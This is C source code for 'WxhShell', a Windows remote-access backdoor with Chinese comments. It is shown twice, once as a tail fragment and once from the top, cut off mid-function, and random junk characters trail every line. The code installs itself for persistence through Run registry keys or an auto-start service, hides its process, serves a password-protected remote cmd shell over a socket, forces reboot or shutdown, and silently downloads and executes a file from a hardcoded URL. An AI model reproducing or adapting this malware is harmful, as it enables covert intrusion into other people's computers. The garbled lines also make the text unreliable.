    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1m|Oi%i4  
    if(Boot(SHUTDOWN)) }<uD[[FLB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gmLGK1  
    else { FgE6j;   
    closesocket(wsh); D *Siy;  
    ExitThread(0); \! Os!s  
    } 3lM mSKN  
    break; g v&xC 6>  
    } +z+25qWi  
  // 获取shell ^(V!vI*  
  case 's': { rs~RKTv-  
    CmdShell(wsh); ,aV89"}  
    closesocket(wsh); ~PHAC@pU  
    ExitThread(0); W!4GL>9m}A  
    break; }(Nb]_H  
  } <po.:c Ce  
  // 退出 `XP]y=  
  case 'x': { dZ9[wkn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Os*,@N3t  
    CloseIt(wsh); yi"V'Us  
    break; %&c[g O!Za  
    } *oY59Yf  
  // 离开 QJTGeJ Y  
  case 'q': { NAZxM9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~/! Zh  
    closesocket(wsh); wHWd~K_q  
    WSACleanup(); W~.1f1)  
    exit(1); WfhQi;r  
    break; 0 !E* >  
        } E$ q/4  
  } G<4H~1?P  
  } r|fJ~0z  
&w*.S@  ;  
  // 提示信息 Z=z'j8z3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |08tQ  
} QVL92"  
  } :o*{.  
~YlbS-  
  return; AVOqW0Z+y  
} 8 fVI33  
@+syD  
// shell模块句柄 3VCyq7 B^  
int CmdShell(SOCKET sock) x7L$x=8s  
{ YMIDV-  
STARTUPINFO si; _;yp^^S  
ZeroMemory(&si,sizeof(si)); m qPWCFP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7{D +\i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o83HR[  
PROCESS_INFORMATION ProcessInfo; i'L7t!f}o  
char cmdline[]="cmd"; -qs.'o ;2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5L42'gJ  
  return 0; W ;,Uh E  
} |m"2B]"@  
-F4CHpua  
// 自身启动模式 IA&((\YC  
int StartFromService(void) }{ pNasAU  
{ A*n'"+_  
typedef struct r*>XkM& M  
{ y{? 6U>_  
  DWORD ExitStatus; hDl& KE  
  DWORD PebBaseAddress; bG^E]a/D  
  DWORD AffinityMask; Cm JI"   
  DWORD BasePriority; G- Sw`HHo  
  ULONG UniqueProcessId; e3F)FTG&  
  ULONG InheritedFromUniqueProcessId; A>%fE 6FY  
}   PROCESS_BASIC_INFORMATION; H[*.Jd  
. m7iXd{  
PROCNTQSIP NtQueryInformationProcess; udqGa)&0  
.',ikez  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fng":28o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *Mg=IEu-6[  
bV@53_)N2  
  HANDLE             hProcess; ,`P,))  
  PROCESS_BASIC_INFORMATION pbi; X z2IAiAs'  
f>\?\!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ro}plK(<WQ  
  if(NULL == hInst ) return 0; >J3N,f  
w]"Y1J(i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >LgV[D#=&o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s)375jCga  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9C-F%te7  
"2'nLQ""q  
  if (!NtQueryInformationProcess) return 0; [uc;M6o}?  
j &,vju  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '#4ya=Ww  
  if(!hProcess) return 0; 0"#tK4  
;T"}dJel#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6IPhy.8  
za<Ja=f9X  
  CloseHandle(hProcess); pk}*0Y-  
Z #w1,n88  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fu )V2[TY  
if(hProcess==NULL) return 0; |; $fy-  
^-4mZXAy1|  
HMODULE hMod; AcrbR&cvG  
char procName[255]; m3F.-KPO  
unsigned long cbNeeded; }-V .upl  
?j ?{} Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %a8'6^k  
C(}9  
  CloseHandle(hProcess); 6DaH+  
fR5 NiH  
if(strstr(procName,"services")) return 1; // 以服务启动 ?5$\8gZ  
@D9c  
  return 0; // 注册表启动 .#5<ZAh/?  
} M4nM%qRGQ  
7xwS  .|  
// 主模块 BG-uKJ ^  
int StartWxhshell(LPSTR lpCmdLine) =H>rX 2k  
{ #MHn J  
  SOCKET wsl; 9 ?MOeOV8  
BOOL val=TRUE; u 6 la  
  int port=0; -*e$>w[.N  
  struct sockaddr_in door; &^63*x;hE  
V/"0'H\"1  
  if(wscfg.ws_autoins) Install(); 6xk"bIp  
9{70l539  
port=atoi(lpCmdLine); /-^gK^  
*ErTDy(   
if(port<=0) port=wscfg.ws_port; aZ*b"3  
~< Gs<c}z  
  WSADATA data; 9s73mu`Twg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  R(k6S  
dvyE._/v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u\^<V)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I y8gQdI  
  door.sin_family = AF_INET; K?-K<3]9f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 45/f}kvy  
  door.sin_port = htons(port); O5Yk=-_m  
hB P]^~(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7R7g$  
closesocket(wsl); Te$/[`<U  
return 1; S &s7]  
} U6jlv3  
-CtA\< 7I  
  if(listen(wsl,2) == INVALID_SOCKET) { BB--UM{7  
closesocket(wsl); %lv2;-  
return 1; JF: QQ\  
} cp0>Euco=  
  Wxhshell(wsl); 8Dhq_R'r  
  WSACleanup(); eJ'2 CM6  
x"8(j8e  
return 0; mC>7l7%  
7Ar4:iNvX  
} TjD`< k  
%j2YCV7  
// 以NT服务方式启动 eK/[jxNO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U QXT&w  
{ JP!$uK{u  
DWORD   status = 0; 7<IrN\@U  
  DWORD   specificError = 0xfffffff; bxkp9o  
FxM`$n~K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {(D$ Xb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Gh T.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MyCX6+Ci)  
  serviceStatus.dwWin32ExitCode     = 0; @,M!&l  
  serviceStatus.dwServiceSpecificExitCode = 0; )uwpeq$j7l  
  serviceStatus.dwCheckPoint       = 0; dMeDQ`c`W  
  serviceStatus.dwWaitHint       = 0; ;?=] ffa{  
U lj2 Py}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i&mu=J[  
  if (hServiceStatusHandle==0) return; SQ>.P  
~S"G~a(&j  
status = GetLastError(); #4%,09+  
  if (status!=NO_ERROR) k-e_lSYk&c  
{ uPRusG4!R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b]4yFwb  
    serviceStatus.dwCheckPoint       = 0; G A2S  
    serviceStatus.dwWaitHint       = 0; egx(N <  
    serviceStatus.dwWin32ExitCode     = status; e_k1pox]l  
    serviceStatus.dwServiceSpecificExitCode = specificError; fcnbPO0M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +c}fDrr)  
    return; T>vHZZiO  
  } Nf-IDK  
9y.C])(2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C<qJnB:B 9  
  serviceStatus.dwCheckPoint       = 0; N=tyaS(YJ  
  serviceStatus.dwWaitHint       = 0; +s1+;VUs3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Lu wPM  
} jTSw0\}  
TeHL=\L-^  
// 处理NT服务事件,比如:启动、停止 lG%oqxJ+ L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o \b8lwA,  
{ CN\s,. ]  
switch(fdwControl) 1ReO.Dd`R  
{ 9WtTUk  
case SERVICE_CONTROL_STOP: OR1XQij  
  serviceStatus.dwWin32ExitCode = 0; +P}'2tE~'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :!g|0CF_  
  serviceStatus.dwCheckPoint   = 0; :V}8a!3h  
  serviceStatus.dwWaitHint     = 0; ,6i67!lb  
  { c{|soc[#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #(ANyU(#e  
  } =ZzhH};aX  
  return; r A0[y  
case SERVICE_CONTROL_PAUSE: a(d'iAU8^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2x$\vL0  
  break; (tyo4Tz1  
case SERVICE_CONTROL_CONTINUE: (V{bfDu&h@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r{>tTJFD(:  
  break; {< jLfL1  
case SERVICE_CONTROL_INTERROGATE: %J~8a_vO  
  break; A ;Z%-x  
}; q Z`@Ro  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9OF5A<%"u  
} {YK6IgEsJe  
Z0b1E  
// 标准应用程序主函数 '(^p$=3|@D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _V-@95fK  
{ ;[g v-H  
+Nc|cj  
// 获取操作系统版本 (;~[}"  
OsIsNt=GetOsVer(); s8@fZ4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Be8Gx  
@8n0GCv  
  // 从命令行安装 Tk.MtIs)V}  
  if(strpbrk(lpCmdLine,"iI")) Install(); cO)GiWE  
 ?o9l{4~g  
  // 下载执行文件 _f^q!tP&d  
if(wscfg.ws_downexe) { =Q3Go8b4HJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r;upJbSX  
  WinExec(wscfg.ws_filenam,SW_HIDE); o=;.RYi  
} $ AG.<  
gqZ7Pro.  
if(!OsIsNt) { uZd)o AB  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;)"r^M)):  
HideProc(); MSRIG-  
StartWxhshell(lpCmdLine); 5A~w_p*}  
} 3w!oJB  
else wpx,~`&  
  if(StartFromService()) )z7. S"U  
  // 以服务方式启动 P63z8^y  
  StartServiceCtrlDispatcher(DispatchTable); (t<i? >p  
else g>OGh o  
  // 普通方式启动 k?|VFh1  
  StartWxhshell(lpCmdLine); ScZ$&n  
N;r,B  
return 0; ;u}MG3Y8  
} oJyC{G  
X=${`n%LG  
c7 wza/r>  
P,I3E?! j  
=========================================== uZ<Bfrc  
~g1@-)zYxK  
Qbt fKn95  
Axj<e!{D  
m_\CK5T_  
rUx%2O|qu  
" ' ["Y;/>  
X903;&Cim  
#include <stdio.h> Z#7HuAF{]  
#include <string.h> .(1=iL_3e  
#include <windows.h> <C${1FO7If  
#include <winsock2.h> ?G!^ |^S*  
#include <winsvc.h> `n5RDz/f0  
#include <urlmon.h> z0g$+bhy  
bgYM  
#pragma comment (lib, "Ws2_32.lib") $Cc4Sggq  
#pragma comment (lib, "urlmon.lib") tet  
"TN}=^A\F  
#define MAX_USER   100 // 最大客户端连接数 2R<1  ^  
#define BUF_SOCK   200 // sock buffer 6D0uLh  
#define KEY_BUFF   255 // 输入 buffer ',juZ[]_ {  
g&_0)(a\  
#define REBOOT     0   // 重启 Sq(=Bn6E  
#define SHUTDOWN   1   // 关机 ~5p `Kg*  
[}P|OCW  
#define DEF_PORT   5000 // 监听端口 "UVV/&`o  
t@4X(i0  
#define REG_LEN     16   // 注册表键长度 1DZGb)OU  
#define SVC_LEN     80   // NT服务名长度 - VR u^l#  
3'1O}xO  
// 从dll定义API L d#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9&rn3hmP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b-~`A;pr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :4(7W[r6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e5veq!*C?  
yKDg ~zsh  
// wxhshell配置信息 2Q1* Xq{  
struct WSCFG { .JQR5R |Q  
  int ws_port;         // 监听端口 3bE^[V8/  
  char ws_passstr[REG_LEN]; // 口令 VMHiuBz:  
  int ws_autoins;       // 安装标记, 1=yes 0=no $JX_e  
  char ws_regname[REG_LEN]; // 注册表键名 %,6@Uu#%6  
  char ws_svcname[REG_LEN]; // 服务名 N_/&xHw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0FEb[+N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I>9rfmmTI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;YK^&!N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6@Eip[e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .z+QyNc:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )I!l:!Ij*D  
-#)xe W.d  
}; p9l&K/  
\%^<Ll  
// default Wxhshell configuration H3 `%#wQ0j  
struct WSCFG wscfg={DEF_PORT, L6l~!bEc  
    "xuhuanlingzhe", m#%5H  
    1, ]!0*k#i_.  
    "Wxhshell", cC4*4bMm  
    "Wxhshell", DPy"FQYZb  
            "WxhShell Service", nNBxT+3*i  
    "Wrsky Windows CmdShell Service", KwpNS(]I  
    "Please Input Your Password: ", atl0#FBd  
  1, &y Vii^  
  "http://www.wrsky.com/wxhshell.exe", ;'=!Fv  
  "Wxhshell.exe" K})j5CJ/  
    }; {yspNyOx  
Vfc 9 +T+  
// 消息定义模块 {d^&$~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %v}:#_va]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .HGEddcC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hQ<"  
char *msg_ws_ext="\n\rExit."; XPWK"t0 1  
char *msg_ws_end="\n\rQuit."; mYa0_P%^  
char *msg_ws_boot="\n\rReboot..."; W e9C9)0  
char *msg_ws_poff="\n\rShutdown..."; mE^6Zu  
char *msg_ws_down="\n\rSave to "; ''f  
^f3F~XhY3  
char *msg_ws_err="\n\rErr!"; F Fg0}  
char *msg_ws_ok="\n\rOK!"; sVh!5fby&  
kFuaLEJi  
char ExeFile[MAX_PATH]; gI\J sN  
int nUser = 0; 3+n&Ya1  
HANDLE handles[MAX_USER]; \B2=E  
int OsIsNt; `"-)ObOj}  
OmKT}D~ 4  
SERVICE_STATUS       serviceStatus; ShGR !r<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HESwz{eSS  
b?HW6Kfc  
// 函数声明 if^\Gs$  
int Install(void); jL`S6E?7  
int Uninstall(void); r,yhc =  
int DownloadFile(char *sURL, SOCKET wsh); gDAA>U3|$  
int Boot(int flag); ].:S!QO  
void HideProc(void); (M5=8g%>d  
int GetOsVer(void); NSM-p.I9  
int Wxhshell(SOCKET wsl); V=E9*$b]  
void TalkWithClient(void *cs); #a}fI  
int CmdShell(SOCKET sock); p|AIz3  
int StartFromService(void); S' TF7u  
int StartWxhshell(LPSTR lpCmdLine); ]9A9q<lZ  
6aMqU?-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U_M> Q_r(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $C^94$W  
S=M$g#X`5  
// 数据结构和表定义 &x;v&  
SERVICE_TABLE_ENTRY DispatchTable[] = G4<'G c  
{ ;QgJw2G  
{wscfg.ws_svcname, NTServiceMain}, Is?0q@  
{NULL, NULL} 6ng . =  
}; qIO)Z   
fE_QB=9 cz  
// 自我安装 ApS/,cV  
int Install(void) P8;|>OLZ)  
{ )+cP8$n6L  
  char svExeFile[MAX_PATH]; | L fH,6  
  HKEY key; H;IG\k6C  
  strcpy(svExeFile,ExeFile); 4b6$Mj  
(*"R"Y  
// 如果是win9x系统,修改注册表设为自启动 &?YQVwsN  
if(!OsIsNt) { -Ux/ Ug@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J. {[>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pw&l.t6.  
  RegCloseKey(key); v*]|1q%/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5=Gq d4&*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =@{H7z(p&  
  RegCloseKey(key); = #ocp  
  return 0; 8 +uOYNXsA  
    } *^" 4 )  
  } pBmacFP  
} 6,s@>8n  
else { \zgRzO'N  
gpE5ua&  
// 如果是NT以上系统,安装为系统服务 52-^HV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%~ S~wx  
if (schSCManager!=0) VA2%2g2n{  
{ R.> /%o  
  SC_HANDLE schService = CreateService "C}nS=]8m  
  ( ::adT=  
  schSCManager, oOQnV(I  
  wscfg.ws_svcname, $Ce`(/  
  wscfg.ws_svcdisp, d!w32Y,.  
  SERVICE_ALL_ACCESS, (lEWnf=2h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7{<t]wQq  
  SERVICE_AUTO_START, "&L<u0KHG  
  SERVICE_ERROR_NORMAL, yUEUIPL  
  svExeFile, {b]WLBy  
  NULL, d \0K 3=h  
  NULL, JLc\KVmF  
  NULL, S>cT(q_&  
  NULL, Rn-L:o@?  
  NULL sV3/8W13  
  ); rmWG9&coW  
  if (schService!=0) B8[H><)o\y  
  { jC; XY!d6  
  CloseServiceHandle(schService); ^$rt|]  
  CloseServiceHandle(schSCManager); V^?+|8_(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 183'1Z$KA  
  strcat(svExeFile,wscfg.ws_svcname); @@!t$dD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )"j_ NlO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TKj9s'/  
  RegCloseKey(key); % J+'7'g  
  return 0; ^R K[-tVV  
    } 3H4p$\; C  
  } +J.^JXyp0  
  CloseServiceHandle(schSCManager); 5l{_E:.1  
} 51&wH  
} 8kO|t!?:U  
b4,yLVi<T  
return 1; tEf-BV;\y  
} 2R|2yAh  
=\oNu&Q^  
// 自我卸载 M|Z] B<_x  
int Uninstall(void) HHg=:>L z  
{ MZ% P(5  
  HKEY key; qK(? \ t$  
` LU&]NS3  
if(!OsIsNt) { t {x&|%u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M{hA`  
  RegDeleteValue(key,wscfg.ws_regname); '4N[bRCn  
  RegCloseKey(key); !cWKY \lpv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U/{cYX  
  RegDeleteValue(key,wscfg.ws_regname); )RA7Y}e|m  
  RegCloseKey(key); ]+fL6"OD/2  
  return 0; t%N#Yh!  
  } %H%>6z x  
} ^H&6'A`  
} ]9b*!n<z  
else { s_E iA _  
|A5]hL   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L;grH5K5  
if (schSCManager!=0) Pf(z0o&  
{ 5TzMv3;in2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kO/dZ%vj  
  if (schService!=0) Av+R~&h  
  { O% 9~1_  
  if(DeleteService(schService)!=0) { Z(.p=Wg  
  CloseServiceHandle(schService); mxDy!:@=  
  CloseServiceHandle(schSCManager); INcJXlv  
  return 0; U_oMR$/Z  
  } =`.9V<  
  CloseServiceHandle(schService); Nu|?s-   
  } 9> [ $;>  
  CloseServiceHandle(schSCManager); #J1a `}x  
} s}/YcUK  
} IvH0sS`F  
MPNBA1s  
return 1; bha_bj  
} iOzw)<  
% sT=>\  
// 从指定url下载文件 ^Z2%b>  
int DownloadFile(char *sURL, SOCKET wsh) cl14FrpYu  
{ =p^*y-z  
  HRESULT hr; 2nOQ48ha T  
char seps[]= "/"; RwY) O5  
char *token; &eg]8kV  
char *file; |V:k8Ab  
char myURL[MAX_PATH]; gp(w6 :w  
char myFILE[MAX_PATH]; }2JSa8  
"&v?>  
strcpy(myURL,sURL); \XmtSfFC  
  token=strtok(myURL,seps); d4A}BTs1  
  while(token!=NULL) 6t*=.b,N  
  { 8fZ\})t  
    file=token; qdO^)uJJ  
  token=strtok(NULL,seps); %qN8u Qx  
  }  EMJio\  
1 5rE|m^  
GetCurrentDirectory(MAX_PATH,myFILE); ZLo3 0*  
strcat(myFILE, "\\"); sveFxI  
strcat(myFILE, file); tA'i-D&  
  send(wsh,myFILE,strlen(myFILE),0); <>2QDI6_  
send(wsh,"...",3,0); )3z.{.F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eN,m8A`/S  
  if(hr==S_OK) 3nR|*t;  
return 0; hLJO\=0rJz  
else ,>"1'i&@  
return 1; *4=Fy:R]O  
a08B8  
} 7r*>?]y+  
574 b]  
// 系统电源模块 M!mTNIj8~  
int Boot(int flag) A5 8i}G9  
{ f)N67z6  
  HANDLE hToken; @CWfhc-Ub  
  TOKEN_PRIVILEGES tkp; )e]:T4*vo  
:n>:*e@w%  
  if(OsIsNt) { r\_aux^z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o<T>G{XYB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dI'C[.zp[  
    tkp.PrivilegeCount = 1; 'Y>!xm   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u4fTC})4{C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j+Wgjf  
if(flag==REBOOT) { (?q]E$ @  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .{)b^gE  
  return 0; Z&J417buk  
} ~5]AXi'e~  
else { iY.~N#Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `M"b L|[R  
  return 0; "eGS~-DVK  
} xI_WkoI  
  } /rJvw   
  else { 9.PY49|  
if(flag==REBOOT) { AB+Zc ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $3"0w   
  return 0; QDxLy aL  
} nef-xxXC^I  
else { uCmdNY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !YAkHrF`[0  
  return 0; H${Ym BG  
} s7df<dBC  
} h'T\gF E%  
EL~s90C  
return 1; ^<sX^V+{  
} 2ZLK`^S  
69q8t*%O  
// win9x进程隐藏模块 zM[WbB+"m  
void HideProc(void) [o|]>(tk  
{ bu@Pxz%_  
*GD 1[:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nc@ul')  
  if ( hKernel != NULL ) 8v(Xr}q,r  
  { =fG(K!AQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :UFf6T?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cDE?Xo'!  
    FreeLibrary(hKernel); '!IX;OSjH  
  } T /[)U  
B(b[Dbb  
return; aU#8W.~  
} nb?bx{M  
4+l7v?:Pr  
// 获取操作系统版本 /?2yo{F g  
int GetOsVer(void) %;^6W7  
{ zIRa%%.i<  
  OSVERSIONINFO winfo; MQR2UK (  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VAq( t  
  GetVersionEx(&winfo); ?Vt$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `b9oH^}n j  
  return 1; etGquW.  
  else ?V*>4A  
  return 0; 7e}p:Vfp  
} TpMfk7-  
?e&CbVc4  
// 客户端句柄模块 P\SD_8  
int Wxhshell(SOCKET wsl) yu}4L'e  
{ uiHlaMf  
  SOCKET wsh; `EWeJ(4Z@  
  struct sockaddr_in client; X3 a:*1N  
  DWORD myID; b/ZX}<s(1=  
rKi)VVkx_  
  while(nUser<MAX_USER) !?Ow"i-lp  
{ 7"8HlOHA  
  int nSize=sizeof(client); jzzVZ%t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T_YN^za(q  
  if(wsh==INVALID_SOCKET) return 1; i_gS!1Z2  
YXD1B`23  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Eb{TKz?  
if(handles[nUser]==0) SOP= X-6f  
  closesocket(wsh); <<n8P5pXt  
else F!aYK2  
  nUser++; ~{+J~5!;<H  
  } t7)Y@gRy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S :(1=@  
qJISB7F[%O  
  return 0; |k?,4 Pk  
} [C7:Yg7  
.fQDj{  
// 关闭 socket @X4;fd  
void CloseIt(SOCKET wsh) \6C"bQ  
{ [vV-0Lx"  
closesocket(wsh); yd>kJk^~/  
nUser--; Z\dILt:#z  
ExitThread(0); lzm9ClkfH  
} b\^Sz{  
9';0vrFeM  
// 客户端请求句柄 ts9N$?0:V  
void TalkWithClient(void *cs) *?\2Ohp  
{ _#N~$   
GI6 EZ}.MZ  
  SOCKET wsh=(SOCKET)cs; 1l1X1  
  char pwd[SVC_LEN]; vLpE|QZs  
  char cmd[KEY_BUFF]; ~(hmiNa;  
char chr[1]; })&0e:6  
int i,j; |mci-ZT  
5|H?L@_9  
  while (nUser < MAX_USER) { vz@QGgQ9~2  
;5 IS58L  
if(wscfg.ws_passstr) { X>*zA?:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G.<9K9K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C'zMOR6c  
  //ZeroMemory(pwd,KEY_BUFF); `=CF | I  
      i=0; -U; s,>\)  
  while(i<SVC_LEN) { KZD&Ih(vC  
,[cWG)-  
  // 设置超时 E}" &? oY  
  fd_set FdRead; %M'"%Yn@(y  
  struct timeval TimeOut; X}p4yR7'  
  FD_ZERO(&FdRead); BAzqdG  
  FD_SET(wsh,&FdRead); lkw[Z}\  
  TimeOut.tv_sec=8; Li<c  
  TimeOut.tv_usec=0; k$I[F<f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Dw.>4bA.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B5tJ|3!  
,ew<T{PL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ",~3&wx  
  pwd=chr[0]; EE%OD~u&9#  
  if(chr[0]==0xd || chr[0]==0xa) { IP{Cj=  
  pwd=0; 3&2,[G04  
  break; U ][.ioc  
  } bF B;N+>  
  i++; ^P{'l^CVX  
    } SkPv.H0Id  
B /Dj2  
  // 如果是非法用户,关闭 socket y& Dd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8mCr6$|%  
} %*jpQOw  
MTLcLmdO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v,>q]! |a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); br'~SXl  
RA\H?1;8C  
while(1) { YjdH7.js  
poXkH@[O  
  ZeroMemory(cmd,KEY_BUFF); -$T5@  
:mg#&MZj<  
      // 自动支持客户端 telnet标准   Dvx"4EA{7{  
  j=0; A= ,q&  
  while(j<KEY_BUFF) { K-vso4@BJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }i/{8Ou W  
  cmd[j]=chr[0]; 0Fi7|  
  if(chr[0]==0xa || chr[0]==0xd) { ~zRW*pd  
  cmd[j]=0; ?BWWb   
  break; 3QXGbu}:h!  
  } KTf!Pf?g  
  j++; R[_7ab]A  
    } T /] ayc:  
'{7A1yJnY%  
  // 下载文件 5d L-v&W  
  if(strstr(cmd,"http://")) { +vYm:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c4; `3  
  if(DownloadFile(cmd,wsh)) x,p|n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); | sQ5`lV?  
  else px-*uh<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BwL: B\  
  } XeZv%` ?  
  else { q<;9!2py  
ly^F?.e-  
